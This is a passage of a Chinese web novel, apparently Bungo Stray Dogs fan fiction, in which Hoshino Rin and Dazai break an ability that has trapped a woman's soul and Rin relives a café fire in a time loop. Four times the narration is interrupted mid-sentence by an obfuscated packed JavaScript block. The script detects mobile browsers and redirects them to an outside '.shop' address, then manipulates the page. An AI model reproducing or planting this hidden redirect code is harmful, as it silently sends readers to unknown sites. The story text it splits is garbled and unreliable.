木村一郎接过:“谢谢。我女朋友已经三天没有从房间里出来了,她坐在床上一动不动,和她说话也没反应,请医生来家里看,也没发现什么病因,我实在是没办法了。” 不说话也不动?灵魂出窍了吧?还真是奇怪的症状啊。 “虽然她变成这样,也吃不了任何东西,但我还是习惯了给她做饭,她之前最喜欢吃我做的饭了……” 星野凛问:“你女朋友是什么时候变成这样的?之前有接触过什么人,有仇家吗?” “是从上个星期开始的,非常突然,具体是哪天我也不清楚,没有接触过什么人,我们在一起两年了,我可以确定以及肯定,绝对没有仇家。” 不知道具体时间,没有接触过陌生人,又没有仇家,一点线索都没有,难怪是紧急委托。 “凛酱快点过来帮我拿零食——” 乱步站在门口喊道。 还真让太宰说对了,乱步先生真的是去买零食了。 星野凛走过去,接过乱步怀里的零食:“乱步先生,你怎么这么晚才回来?不会是又迷路了吧?” 乱步气鼓鼓道:“才没有呢!这点路线对名侦探来说简直是易如反掌。” “那是因为什么?” “也没什么,就是我忘记带钱和店长赊账,浪费了点时间罢了。” “……” 星野凛把零食放到他的椅子上,要问为什么不放到办公桌上,当然是因为办公桌上已经放满了甜品,根本没有多余的空间再放零食了。 “乱步先生,你终于回来了。” 中岛敦帮乱步把手上的零食全都接过去。 “我回来了,敦君,不用担心我。” 乱步拿起一包薯片,坐在沙发上吃,“你们继续,正好名侦探也想听听凛酱对案件的分析。” “……” 星野凛对木村一郎尬笑一声:“木村先生,你说到哪里了?继续吧。” 木村一郎喝了口水,说:“惠子是个温柔又善良的人,是不会有仇家的,记得还没出事的前一天,她去药妆店买了一瓶护手霜,回来就变成这样了。” “咔嚓咔嚓”的声音在星野凛的耳边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083966|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环绕。 “……” 她看向罪魁祸首:“乱步先生,你吃东西能小声一点吗?” 乱步一脸无辜:“我吃东西的声音明明一点都不大,凛酱一定是听错了。” “???” 太宰坐在自己的工位听音乐,听到一半耳机坏了,好像还出现了“咔嚓咔嚓”的声音。 “凛酱,侦探社好像有老鼠,我都听到老鼠吃东西的声音了哦~” “哈哈哈哈,乱步先生,太宰说你是老鼠。” “诶?居然是乱步先生吗?真是抱歉,是我听错了。” 乱步:“……” 星野凛笑得眼泪都要出来了,努力让自己回到案件话题:“木村先生,除此之外还有什么别的线索吗?” 被忽略好几次的木村一郎:“……” 中岛敦走到饮水机旁接水,小声吐槽道:“这样探案真的没问题吗?木村先生在第一次被忽略的时候,还能当做什么事都没发生的样子继续说下去,也是相当厉害啊。” 木村一郎努力回想细节:“惠子的表情很奇怪,连眼睛都不眨,一直维持着同一个姿势,不会累,更不会饿,像是被抽取了灵魂一样,没有喜怒哀乐。” 星野凛分析道:“这很有可能是中了某种异能,这个异能会把灵魂困在某个地方,没有异能者的允许,中了异能的人,再怎么挣扎都逃不出来。” 乱步吃完薯片,坐在自己的工位上玩波子汽水里的弹珠:“凛酱不错嘛,居然猜对了一半。” “只猜对了一半有什么好夸赞的,乱步先生是把我当成小孩子了吗?” 太宰笑着解释道:“凛酱之前只是个什么都不懂的新人吧?现在能猜到一半已经很厉害了~” 嘁,某个人之前不是嫌弃她不会探案吗?现在又在装什么好人,左右脑互搏吗? 星野凛不理会太宰的安慰,转而问乱步:“乱步先生既然知道真相,为什么不接下这个案子?” 乱步睁开翠绿色的眼睛,意味深长道:“这个案件只有凛酱才能解决,别人是解决不了的,也就是说,这个案件非你莫属。” 搞什么啊,还非她莫属,神神秘秘的。 现在已经8:00点了,还是紧急委托,说明委托费肯定不少。 “具体的线索只有见到惠子小姐才能知道,事不宜迟,木村先生你能带路吗?” 木村一郎点点头,站起来走到门口:“当然,只不过现在这么晚了,还是等明天再去吧,我一定准时过来。” 她的半夜加班紧急委托费啊…… 虽然白天的紧急委托费也不少,但依旧不如晚上加班的紧急委托费多。 星野凛走到门口:“木村先生,我送送你吧。” 送一下她的紧急委托费。 乱步有一下没一下地弹着弹珠:“太宰,明天你会和凛酱一起去的吧?” 太宰走到窗前,看向侦探社楼下的倩丽身影:“当然了,乱步先生。” “那最好不过了,管闲事就是要管到底才行啊。” 太宰笑笑没说话。 中岛敦一脸懵:“你们在说什么啊?” 他怎么一句都听不懂。 星野凛站在侦探社楼下,看着紧急加班费开车离开了,心都在滴血。 28.第 28 章 “木村先生,还有多久到啊?”星野凛坐在车后座询问道。 今天是约定好的去木村一郎家的时间,木村一郎早早就在侦探社等候了,等人一到就立马出发了。 现在已经行驶了半个多小时了,她难免有些心急。 木村一郎坐在驾驶座上,目不斜视道:“还有十分钟就到了,请再耐心等一会。” “我知道了。” 得到答复后星野凛倚在后座上,看向车窗外。 “凛酱是晕车了吗?再坚持一下就到了哦。” 太宰转头盯着她的侧脸。 “我没有晕车。” 谁能告诉她,为什么乱步先生非要让太宰来和她一起解决这个紧急委托? 虽然她现在用不了异能,但她可以让太宰过来帮忙啊,完全没必要让他和她一起行动。 而且不是说好的非她莫属吗?让太宰一起过来岂不是要分给他一半委托费? 这种事情真的不要啊,她已经一穷二白了,不想分钱给太宰这家伙,如果太宰不要委托费就好了,但那是不可能的,除非他吃毒蘑菇中毒了神志不清才会这样。 不然谁会愿意把钱让给别人啊,笨蛋才这样吧…… 星野凛把车窗开大,带着凉意的风直冲她面门,让她清醒了几分,怕感冒,又把车窗关上了。 “你和乱步先生是不是有什么秘密瞒着我?” 听到星野凛这么问,太宰感到有些意外,但很快又恢复了平静:“凛酱为什么这么问?” 在甜品店里的时候,她就察觉到这两个人在说一些不想让她知道的秘密,所以她故意离开座位,在远处观察他们的口型,试图分辨他们在说什么。 可惜失败了,离得有点远,她看不太清,正好又没带窃听器,她只能猜测是和她有关。 实在是太明显了,乱步先生根本就不会伪装,都写在脸上了,她要是没发现她就是笨蛋中的笨蛋了。 星野凛对上了他的视线:“因为我聪明,不行吗?” 太宰“噗嗤”一声笑了:“凛酱还真是可爱啊,其实也没什么大事啦~不过确实是关于凛酱的。” 果然是关于她的。 “我知道我身上有很多秘密,但你们别想着瞒我,大方告诉我不行吗?” “现在还不行,总之凛酱很快就知道了。” 她最讨厌谜语人了,说话只留一半,这又不是演特摄剧,哪来那么多猜忌和谜底啊。 “到了,请星野小姐和太宰先生下车吧。” 木村一郎解开安全带转头说道。 星野凛打开车门,看着足足有二十几层的公寓楼陷入了沉默:“……” 最好告诉她有电梯,不然她是不会上去的,除非加钱。 “木村先生,你家在几楼?有电梯吗?电梯没坏吧?” 面对星野凛的连环问,木村一郎笑着说:“我家在十楼,不过放心吧,有电梯,电梯没坏,定期会有工作人员来维修的,所以不用担心。” 星野凛听到有电梯才松了一口气:“有电梯就好。木村先生,赶紧带路吧,惠子小姐肯定期盼着有人来救她。” 想到惠子,木村一郎面无表情的脸柔和了几分:“好,请星野小姐和太宰先生跟紧我。” 星野凛和太宰跟着木村一郎进入了公寓,电梯来得很快,没一会就到十楼了。 木村一郎走过去开门,“家里有点乱,请见谅。” “没关系。” 星野凛探头观察屋内,是很简单的装潢,没什么乱七八糟的装饰品污染她的眼睛,很好。 太宰弹了一下她的呆毛:“凛酱快点进去啦,不进去怎么调查,没什么可观察的哦,就是普普通通的房子。” 星野凛后退一步,避开了太宰的触碰:“你要进去就自己先进去,不要催我,我有我的节奏。” 太宰悻悻地收回了手:“好吧,那凛酱快点哦。” “知道了。” 等太宰和木村一郎都进去后,星野凛才进去。 木村一郎收拾了一下堆放在客厅的酒瓶,给星野凛和太宰倒了一杯水:“让星野小姐和太宰先生见笑了。” 星野凛喝了口水,看了看四周:“惠子小姐现在还在卧室吗?” 木村一郎难掩疲色,眼下有很重的乌青:“对,现在还在卧室,我有想过把惠子抱到卧室或者阳台,呼吸一下新鲜空气的,但我还是没有勇气触碰她,不敢相信她会变成这样……” “我现在可以去看看惠子小姐吗?”按照木村一郎的小心程度,星野凛怕他又拖延,偷偷掐了一把太宰的胳膊。 太宰立马get到了她的暗示:“木村先生,你也不想惠子小姐一直这样吧?为了让惠子小姐早点恢复,还是快点让我们去看看比较好。” 木村一郎打开了卧室的门:“那就拜托你们了,我本想让你们休息一下再进去看惠子的,既然你们都这么说了,我也没什么异议。” 卧室的光线很昏暗,星野凛适应了一会才慢慢睁开眼睛。 “抱歉,我现在就把窗帘拉开。” 拉开窗帘后,有几缕阳光照了进来,驱散了卧室里的阴冷潮湿感。 星野凛看到一个头发披散,身穿黄色衬衫的女人坐在床边,一动也不动。 想必这就是惠子了吧?还真是和木村一郎说得一样啊。 她走到铃木惠子的面前,伸出手挥了挥:“惠子小姐,你能听见我说话吗?” 木村一郎坐到铃木惠子的旁边,给她擦拭手:“没用的,我之前尝试过很多次,惠子她一点反应都没有。” 星野凛仔细观察铃木惠子的眼睛,瞳孔涣散,没有聚焦,听不见也看不见,活像一具行尸走肉一样。 灵魂被困住,回不到自己的身体里就会变成这样。 是谁做的呢,好难猜啊。 “我和凛酱想的一样哦~” 太宰在面前铃木惠子打了个响指说道。 这家伙是真的有读心术啊,她还什么都没说呢,就已经读懂了她心里的猜测。 木村一郎听不懂他们在说什么,苦涩一笑道:“星野小姐,惠子她……还有救吗?” 星野凛不确定道:“说不准,有可能有救,也有可能没救。” 这起案件一看就知道是组织的人干的,但想到之前与谢野医生的异能对松本月华的异能没用,她就有点不确定。 不确定太宰的【人间失格】能不能消除掉这个异能。 木村一郎握住铃木惠子的手,整个人都埋到了她身上:“星野小姐这句话是什么意思?惠子到底能不能回来?求求你了,我求求你救救惠子吧!” 星野凛叹气道:“木村先生别这样,我不是神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087661|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,没有百分百的信心,给不了一定成功的承诺。” 别说求了,就算他跪下给她磕头,她也没办法保证啊。 组织的人都是一群怪物,异能强悍得可怕,甚至可以无视掉别人的异能,再看看她,不清楚自己的异能,没有强大的实力兜底,就只是一个倒霉蛋而已。 她真的严重怀疑松本月华的话,她怎么可能会是暗杀部的部长,开玩笑的吧? 木村一郎喃喃道:“怎么会这样……” 星野凛忍受不了这种氛围,走出了卧室,来到阳台吹风。 木村一郎还真是把侦探社当成救命稻草了啊,以为只要委托了他们,就能救自己的女朋友。 太天真了。 她终于明白乱步先生为什么非要让她来解决这个紧急委托了,原来是因为组织啊。 这次的事件完完全全是组织给她的下马威,像是在反复提醒她,记住自己的身份,不要忘记组织一样。 星野凛有些痛恨自己为什么失去了记忆,如果没有失去记忆,说不定就能使用异能把组织的人给按在地上摩擦。 然后逼问她们的阴谋和目的,就不会陷入被动的局面了。 “凛酱也该去面对现实了,一直逃避是行不通的。” 太宰走到星野凛的旁边说道。 “我没有在逃避,我在思考。” “诶?真的吗?凛酱不要骗我,我知道凛酱在想什么。” 星野凛避开太宰的视线:“你说,我要是去赌的话,有50%的成功率吗?” 去赌太宰的【人间失格】能不能消除掉铃木惠子身上的异能。 这无疑是一场豪赌,如果成功了皆大欢喜,如果失败了她有勇气面对木村一郎失魂落魄的神情吗? 当然是没有,但她已经没有回头路了,接下了这个委托就要负责到底。 “这种事情还是先赌了再说吧,好了,凛酱快去向木村先生说明吧。” 星野凛攥紧了自己的拇指,重新回到了卧室:“木村先生,提前和你说好,我只有50%的把握能救回惠子小姐,剩下的50%我不敢保证,即使这样你还是要救惠子小姐吗?” 木村一郎看着铃木惠子麻木的神情,下定决心道:“没关系的,别说50%了,就算只有1%我也要尝试,我不想放弃一丝一毫的机会。” “好吧,我尊重你的选择。” 星野凛转头冲太宰喊了一声:“太宰君,过来干活了——” “来了来了——” 太宰双手插兜走过去。 木村一郎起身站到旁边,对他们鞠躬:“真的非常感谢你们,请你们一定要尽全力救治惠子。” 星野凛也跟着鞠躬:“我们一定会尽全力的。” 鞠躬是真的会传染的,她明明不想鞠躬的,结果身体却忍不住弯腰。 太宰走到铃木惠子的面前,活动了一下手:“异能力——【人间失格】” 星野凛屏息凝神地看着这一幕,不停地在心里祈祷,一定要成功消除啊。 看着毫无反应的铃木惠子,太宰收回手,略带遗憾说道:“抱歉,木村先生,我的异能对……” 谁料下一秒,铃木惠子竟恢复了神采,打断了太宰的话,疑惑地问:“一郎君,他们是谁?” 太宰:“诶?——” 星野凛:“??!!” 29.第 29 章 竟然真的能被消除,这次不会是别的犯罪组织做的吧?如果是组织的话,不应该这么快就被太宰的【人间失格】给轻松消除。 上次与谢野医生的异能就毫无作用。 不过也有可能是因为这次来横滨的组织成员实力不够强,没错,应该是这样。 她就是不愿意放弃怀疑组织。 星野凛回神后,就听到木村一郎解释道:“惠子,他们是我委托过来帮你的,你都不知道你这几天的样子有多让我担心。” 铃木惠子眨了眨清澈的眼睛:“担心我?我是发生什么事了吗?我怎么一点都不记得?” 发生了这么大的事,铃木惠子竟然一点都不记得,难道说中了那种异能的人,就算得救了也不记得自己经历了什么? “惠子小姐真的一点都不记得了吗?那惠子小姐还记得自己上个星期,去药妆店买护手霜之后的事吗?” 星野凛询问道。 铃木惠子仔细回想,确定道:“是真的一点都不记得了,我去药妆店买完护手霜后就回家了,之后就感觉自己睡了很久,醒来后就看到你们了。” 木村一郎紧握住铃木惠子的手,眼睛里闪烁着失而复得的泪花:“没关系,不记得就不记得,你回来就好……回来就好。” 对木村一郎来说无所谓,可对她来说很重要啊,铃木惠子不记得就没办法获取有用信息,也没法知道是谁做的了。 还真是麻烦啊。 木村一郎:“谢谢星野小姐和太宰先生,真的非常感谢,没有你们我都不知道该怎么办了,现在惠子没事了,你们如果要回去的话,我可以送你们。” 不等星野凛拒绝,太宰抢先道:“不用麻烦木村先生了,我和凛酱打车回去就行了。” “不麻烦的,你们救了惠子,我真的不知道该怎么感谢你们,就让我送你们回去吧。” 给钱就行,其他的就不需要了。 星野凛最终还是没能把“给钱就行”这四个字说出口,委婉道:“不用了木村先生,我最近在练习体能,跑步回去就行,还能锻炼身体。” 才怪,她才懒得锻炼身体呢,不想让委托人送回去一点都不难理解,谁下班了还想和甲方坐同一个车啊,一点都不自在。 她撒这么明显的慌就是在明确拒绝木村一郎,希望他不要太蠢,能读懂她的意思。 木村一郎不愧是在大公司摸爬滚打的人,完全具备了读空气的优良品质,“我知道了,路上小心一点,委托费我明天就会送到的,请放心。” 听到他这么说,星野凛就放心了,走到玄关处开门:“木村先生不用送了,到这就好,惠子小姐刚恢复,你还是多陪陪惠子小姐吧。” 太宰趁她说话的功夫走出了木村家。 “……” 真是个没礼貌的家伙,也不知道和甲方道个别。 木村一郎回头看了看卧室的方向,“好,那我就不送了。” 星野凛走出木村家后,就看到太宰站在电梯旁边凹造型:“……你以为自己是模特吗?” 太宰靠在电梯旁,摆出一副忧郁美男的样子:“凛酱,一会你自己回去吧,我要去干一件大事。” 星野凛按下电梯,走进去:“随便你。” 太宰在电梯门快要关上的一刹那,伸出手格挡,挤了进去。 目睹这一幕的星野凛:“……” 这家伙的手是铁做的吗? 太宰捂着胳膊,吱哇乱叫:“呜哇——好痛啊,凛酱怎么能不等我就关门了,真过分呐。” “这电梯是自动关的,和我没什么关系,你不要诬陷我。” 星野凛指着电梯按键道。 太宰靠近她,轻声道:“诶?我不信,除非凛酱一会再演示一遍。” 再演示一遍,她闲的吗? “我不要,你自己试验一遍就好了,我才不要陪你做这种无聊的事呢。” 到达一楼后,星野凛走出了这栋公寓,刚走出去没两步,就感受到了一阵熟悉的剧痛。 该死,那个副作用又发作了。 她不清楚副作用发作的规律是什么,自从上次发作过之后就没再发作过,这还是头一次。按照与谢野医生说的那样,过于劳累或者精神状态不好就会发作的话。 那她这几天确实没有休息好,走路的时候就觉得头晕目眩想睡觉,早知道就补个觉了。 星野凛弯下腰等这阵疼痛过去。 “凛酱的副作用又发作了啊。” 太宰走到她身边,伸出手摸了摸她的额头:“好烫,凛酱不会发烧了吧?” 这家伙,到底想干什么? 她努力站直身体,脸色变得惨白,没有血色:“不要对我动手动脚。” 太宰松开手,像是想起了什么好玩的事和她分享:“凛酱你还记得之前副作用发作,眼睛变成绿色的事吧?哦不对,你不记得,因为我根本就没和你说过。” 什么眼睛变成绿色,这家伙可真会编。 “是真的哦,凛酱的眼睛变成了绿色,还不记得我是谁,脾气也比现在的凛酱差一百倍,超级无敌可怕哦,要不是凛酱忽然昏睡过去了,我有可能已经不在人世了,虽然死在凛酱的手里我没什么意见。” “但我不想不明不白地死。”太宰的眼睛不带任何温度,锁定她:“这些凛酱都不知道,真是给我造成了好大的麻烦啊。” 星野凛头痛欲裂,脑海中骤然闪过一些模糊的画面,人声嘈杂,不过有几道声音她却听得很清楚。 “这个怪物什么时候离开xxx啊,真以为首领让她当部长就觉得自己是正常人了?” “你们快看她的眼睛——又变色了,还说不是怪物,都离她远点!” “你们都别说了,小心怪物发怒把你们杀了哈哈哈哈……” 再往后她就听不清了,她听不清组织的名字,也不知道嘲讽她的人是谁。 只是下意识觉得很难受,一股积压了很久的愤怒和迷茫将她淹没。 “说够了吗?你想表达什么?你是想提醒我还是想威胁我?” 星野凛的脸上满是自嘲:“还是说后悔和我这种怪物相处这么久觉得恶心了?” “真是感谢太宰君刚才的话啊,没有太宰君我都想不起来,原来自己还是个怪物啊……不过就算是怪物又怎样?” 星野凛狠狠掐了一把胳膊,让自己保持清醒:“我不欠任何人,也没伤害过任何人。” 太宰看着她胳膊上的青紫痕迹,下意识皱眉:“我可没有说什么,凛酱不要说得那么难听。” “难听吗?这不是你最想听到的吗?” “才没有呢,凛酱不要诬陷我。” 太宰抬头看了看天上:“今天天气真好,不去入水真是可惜了,我先走一步了。” 星野凛一动不动地站在原地看着太宰的背影慢慢消失在她的视野里,过了好一会她才迈开步子。 这次的副作用比上次轻,她刚才挨过了最难受的部分,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100466|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没那么疼了,边走边给自己擦汗。 她可真是蠢啊,竟然试图和一个认识不到三个月的人交心。 不过她随即反应过来,从初遇到现在,她和太宰之间看似默契无间,实则中间横亘着一条看得见但是摸不着的鹤见川,彼此之间没有互相打探过往,都非常有边界感地选择了视而不见。 视而不见她恶劣的语气,视而不见太宰浮夸的行为,更视而不见一些隐秘的小问题。 这么做的结果,就是导致她根本就不了解太宰治这个人,不了解他喜怒无常的情绪,不了解他癫狂行为背后的深层原因,更不了解他为什么想自杀。 同样的,太宰也不了解她。 因为不了解她,所以总是说一些轻飘飘的话转移话题,甚至是伤害她。 星野凛抬头眯着眼睛看刺眼的阳光,心想,这样算是扯平了吗…… 她沿着街道慢慢走,没有回头看后面的街景。 像刚才浮现在脑海里的声音,她以前到底听了多少? 她不知道。 如果每天是在这种环境下工作的话,不出三天,她一定会杀光所有乱嚼舌根的人,然后把他们的舌头拔下来泡酒,请首领喝。 松本那家伙对她的评价是什么来着? 哦,好像是什么千刀万剐的叛徒。 这种环境下当叛徒,再正常不过了。 评价好与坏对她来说都无所谓了。 星野凛越走越觉得周围的环境很眼熟,直到看见前面的咖啡店她才反应过来,原来是到兼职过的咖啡厅了。 她准备掉头走,店长却叫住了她:“今天不是实习期第三天吗?你怎么走了?店里现在很忙,正需要人手,快点过来吧。” 这都是什么啊,什么第三天实习期? 她拿出手机看今天的日期,八月二十八号?这不对吧,今天明明是十一月一号。 她怀着微妙的心情走进店里,紧接着门铃一响,有些耳熟的声音传来:“请给我一份你们这的招牌。” 仔细一看,这不是那个奇葩男吗? 她这是回到了在咖啡店兼职的那天? 也不知道是什么时候中的异能,不知不觉就把她带到了这个时间。 刚才她没有在店里,也没有动咖啡机,更没有给奇葩男送咖啡,这下应该没有意外了吧。 “星野,你把咖啡给客人送去。” 店长忽然叫她。 星野凛扯了个谎,推拒道:“店长,我的手昨天搬重物的时候受伤了,端不了咖啡。” “好吧,一定要注意休息啊。” 店长说完自己端着咖啡送给奇葩男了。 星野凛的心都要跳到嗓子眼了,然而无事发生。 果然,只要不让她经手,一切都会变得不一样。 “多亏了星野你放的咖啡豆啊,我忙了半天都忘记放了。” 什么?星野凛听到这句话瞬间不淡定了。 她刚才不是出去了吗?哪有时间碰咖啡机啊,不对,现在发生的一切和她经历过的不一样,时间一样,事件发生的顺序却不一样。 就像刚刚她在外面,店长一点怀疑都没有,只是让她快点来店里帮忙。 按照正常逻辑下,店长应该会感到奇怪,并反复追问,毕竟明天就要转正了,突然间走了算怎么回事。 这咖啡豆说不定是她昨天放的,虽然她完全没有印象。 想到这,她急忙出声:“不要按——” 30.第 30 章 可还是晚了一步,店长已经按下了咖啡机的按钮。 “怎么了星野?”店长不解地看向星野凛。 “快跑——” 随着星野凛的一声大喊,咖啡机轰然炸裂,电路也开始冒烟,没一会就有几缕火苗悄悄冒头,火势由小转大席卷了整个店。 客人纷纷作鸟兽般散去,和上次一样,星野凛把店长还有奇葩男一起拖出店。 没等店长反应过来,她就联络了火警,挂断通话后,她才去查看店长的情况:“店长,您还好吗?” 脱口而出才反应过来,是和上次一模一样的台词,糟糕透了。 店长摆摆手:“我没事。” 奇葩男没有被她打晕,反而自己晕了过去,这样也好,省得她再浪费时间了。 再经历一次这样的场景还真是不真实啊…… 明明在梦里经历过无数次,真的需要她来面对的时候,她又开始胆怯了。 星野凛觉得自己不是衰神,而是灾神才对,如果没有她,咖啡店根本不会发生火灾。时间可以回溯,事件可以改变,但她的倒霉体质无解。 无论回溯多少遍,只要倒霉体质还在,咖啡店的火灾就一定会发生,就像是一个逃不掉的诅咒一样,在旁边嘲笑她的无能为力。 无情的火焰肆意地吞噬着一切,星野凛强迫自己直面这场火海,她攥紧手心,一眨不眨地注视着,明亮的颜色在她的眼睛里跳跃,久到她的眼睛感到酸涩,她才后知后觉地眨了下眼。 她不能继续留在这了,和上次一样,她还是决定离开。 只要她在一天,咖啡店就永无宁日,不能再给店长带来麻烦了。 “店长,感谢您愿意给我在咖啡店工作的机会,店里的损失,等我有钱了会还给您的。” 星野凛说完不等店长的反应,就转身走了。 走在宽阔的街道上,她像一只无头苍蝇一样找不到方向。 右边有一个公园,左边是鹤见川,她站在中间衡量。按照现在这个时间线,去了鹤见川就会遇见太宰治,遇见太宰治就会被他邀请进侦探社。 进了侦探社就会在探案的过程中遇见组织的人,麻烦也会像潮水一样将她淹没。 或许,当个普普通通的打工人对她来说才是最好的归宿。 这样她就不会那么执着于恢复记忆回到组织了,反正回到组织也只是为了弄清楚自己的身份,现在身份什么的对她来说都无所谓了。 她只想找一个安静的地方散心。 侦探社没有她也照常接委托,没有谁离开谁就无法活下去的。不去鹤见川还有一个最重要的原因,那就是她不想给侦探社的大家带去麻烦,也不想被当成一个活的情报,处处被隐瞒计划。 星野凛看了一眼鹤见川的方向,目光停留了三秒,就转身去了公园。 从时间线上蝴蝶掉自己加入侦探社的契机,就不会牵扯那么多无辜的人了,这么做对谁都好。 星野凛一边这么想着,一边加快了脚步。 前面就是公园了,快了,还差最后三步。 “凛酱,快醒醒,不要在异能里沉溺下去了。” 太宰发动了【人间失格】把星野凛从异能里带了出来。 明明离改变时间线只差最后三步,却被这家伙给毁了。 星野凛怅然若失地愣在原地,这一切就仿佛是一场梦一样,从来都没有存在过。 太宰找了个借口溜走之后,又不放心地回来找星野凛。 结果看到她神情呆滞,面无表情地站在原地,这个状况他刚刚领教过,和铃木惠子的状况一样。 见星野凛恢复了,他左右查看,拎起她的胳膊,检查了一下她的身体:“凛酱没事吧?有没有哪里不舒服?” 星野凛听到声音后把目光聚焦在太宰的脸上,“谁让你发动异能的?” 太宰愣了下:“什么?” 她抽回被太宰拎起的胳膊:“我说,谁让你发动异能的?” “你知道我刚才都经历了什么吗?我离成功只差最后三步了,你为什么要出现?” 太宰无视掉她的质问,像个好奇的孩子,眨着无辜的眼睛问:“那凛酱刚才都经历了什么?我还挺好奇的说~” 还真是会避重就轻,星野凛觉得自己刚才的质问,像是一拳打进了棉花里一样。 她有些烦躁地蹲在地上:“和你说有什么用?说了就能改变你把我从异能里拉出来的事实了吗?” 太宰也跟着她蹲下:“可是凛酱不说我会担心的。” 听到太宰的话,星野凛猛地往后一坐,他到底在说些什么啊? 关心的话是他说的,伤害她的尖锐话还是他说的,她真的搞不懂这家伙在想些什么。 太宰伸出手想拉她:“凛酱怎么这么不小心,来,我把你拉起来。” 星野凛避开他的手,自己从地上爬了起来:“你到底想干嘛?” “诶?我只是想拉凛酱起来而已,凛酱为什么要嫌弃我?” 那种一拳打到棉花上的无力感又来了,星野凛垂头丧气地看着太宰:“你不是想知道我在异能里都看见什么了吗?我现在就告诉你。” “这种异能能把人带到自己经历过的时间点里,我回到了在咖啡店兼职的那天,我没法改变倒霉体质带来的必然事件,但我能改变自己加入侦探社的重要事件点,在我快要成功了的时候,你发动了异能,把我从时间回溯里带了出来。” “现在懂了吗?太宰君。如果没有你的话,我早就把时间线给改变了。” 太宰靠近她,脚步放慢:“原来如此,不过时间线究竟能不能改变另说,现在我只想知道一件事。” 星野凛看到他靠近,就皱着眉往后退:“什么事?哎呀,你别离我那么近。” 太宰停住了脚步:“为什么要改变自己加入侦探社这件事?还是说凛酱后悔加入侦探社了?” “太宰君不是料事如神吗?连这都猜不到吗?” “凛酱……” “行了,我说还不行吗?” 星野凛觉得那股熟悉的阵痛又来了,不然为什么她的头那么痛,浑身都难受。 “我当然后悔加入侦探社了,没有我,组织的人就不会出现,那些无辜的人就不会受到牵连。当然了,我更希望自己从来都没有来过横滨。” “没有我的话,店长的咖啡店不会发生火灾,松本月华不会出现在吉田友香的家里,铃木惠子也就不会中异能,这些,全是因为我。” 星野凛说完这些,声音有些哽咽:“全都是因为我……我就是一个灾神,灾神你懂吗?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108746|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不想再给侦探社带来麻烦了,也不想看见有人因为我被组织的人伤害了,所以我选择改变时间线。” 她抹掉了夺眶而出的泪水,努力睁大眼睛,不让泪水掉下来:“可偏偏你出现了,你为什么要出现?让我被困在异能里不好吗?” 太宰张了张嘴想说话,最后却还是什么都没说。看着她亮晶晶的泪水,他拿出手帕递给她。 星野凛一把接过他的手帕擦了擦泪水,又扔给了他:“你说话啊,你为什么不说话?” 太宰捡起了手帕,上面湿漉漉的全是她的泪水,沉默许久,他才开口:“凛酱其实是不想遇见我吧?” “不然呢,想改变时间线就必须走相反的道路,当然不能遇见你,一遇见你所有的计划就全被打乱了。” 无论是在异能里,还是在异能外,遇见他总没好事。 “可是我想遇见凛酱。” 太宰突如其来的话让星野凛呆滞了两秒:“哈?” “我想遇见凛酱,所以我一定会把凛酱从异能里拉出来的。” 真是莫名其妙…… 星野凛不想和太宰说话了,既然改变时间线失败了,就回侦探社好好休息养精蓄锐吧。这么想着,她转身就走了。 “凛酱你要去哪里啊?” 太宰看着她离开的背影,连忙出声道。 “去西天取经。” “……” 太宰就像被定在原地了一样,哪怕星野凛早已消失在视野里了,也不曾挪动一下脚步。 他鸢色的眼睛里装满了晦涩难懂的情绪,像一片黑色的沼泽。 * “我回来了——” 星野凛瘫倒在侦探社的沙发上。 “看来凛酱经历了一起重大事件啊。” 乱步坐在办公桌上吃粗点心。 中岛敦站在沙发旁边担忧地看着她:“星野小姐,你没事吧?” “我没事,谢谢敦君。乱步先生还知道些什么,就一起说出来吧,正好我也好奇乱步先生到底知道了多少。” “是全部哦,你没听错,本名侦探知道全部。” “那就说出来吧,让我见识一下名侦探的真正实力。” 乱步从办公桌上跳了下来:“凛酱别想着套我话,激将法对名侦探来说没有用。” “嘁,没劲。” 星野凛在沙发上换了个舒服的姿势:“敦君,能帮我倒一杯水吗?” 中岛敦:“没问题,我现在就去。” “敦君可比凛酱早加入侦探社,是凛酱的前辈才对,凛酱怎么能随便使唤前辈呢?” 